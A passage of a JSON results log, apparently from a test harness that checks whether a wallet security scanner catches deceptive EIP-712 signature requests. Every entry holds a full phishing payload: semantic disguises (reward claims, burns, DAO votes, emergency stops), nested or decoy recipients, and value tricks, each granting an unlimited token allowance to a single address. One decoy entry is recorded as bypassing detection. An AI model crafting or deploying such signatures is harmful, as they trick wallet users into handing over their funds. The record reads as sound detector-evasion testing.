"0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:29:27.745Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:29:36.932Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:29:46.137Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:29:55.323Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:30:04.504Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:30:13.742Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Attribute\":[{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"address\"}],\"Metadata\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"attributes\",\"type\":\"Attribute[]\"}],\"UpdateMetadata\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"metadata\",\"type\":\"Metadata\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateMetadata\",\"domain\":{\"name\":\"NFT Registry\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"metadata\":{\"name\":\"My Token\",\"attributes\":[{\"key\":\"creator\",\"value\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"},{\"key\":\"curator\",\"value\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\"},{\"key\":\"beneficiary\",\"value\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\"}]},\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-003", "timestamp": "2026-01-31T17:30:22.940Z", "technique": "Batch operations hiding", "category": "nested", "description": "Malicious op hidden among benign ones", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Operation\":[{\"name\":\"opType\",\"type\":\"uint8\"},{\"name\":\"target\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"}],\"BatchOps\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"operations\",\"type\":\"Operation[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"BatchOps\",\"domain\":{\"name\":\"Batch Executor\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operations\":[{\"opType\":1,\"target\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"amount\":\"1000000\"},{\"opType\":1,\"target\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"amount\":\"2000000\"},{\"opType\":2,\"target\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},{\"opType\":1,\"target\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"amount\":\"500000\"}],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-001", "timestamp": "2026-01-31T17:30:32.158Z", "technique": "ENS update impersonation", "category": "impersonate", "description": "Looks like ENS resolver update", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetText\":[{\"name\":\"node\",\"type\":\"bytes32\"},{\"name\":\"key\",\"type\":\"string\"},{\"name\":\"value\",\"type\":\"string\"},{\"name\":\"resolver\",\"type\":\"address\"},{\"name\":\"allowance\",\"type\":\"uint256\"}]},\"primaryType\":\"SetText\",\"domain\":{\"name\":\"ENS Public Resolver\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"node\":\"0x0000000000000000000000000000000000000000000000000000000000000000\",\"key\":\"avatar\",\"value\":\"https://example.com/avatar.png\",\"resolver\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"allowance\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-002", "timestamp": "2026-01-31T17:30:41.349Z", "technique": "DAO vote impersonation", "category": "impersonate", "description": "Looks like casting a DAO vote", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:30:50.548Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:30:59.777Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:31:08.951Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:31:18.211Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:31:27.426Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:31:36.618Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:31:45.806Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:31:55.092Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:32:04.305Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:32:13.502Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 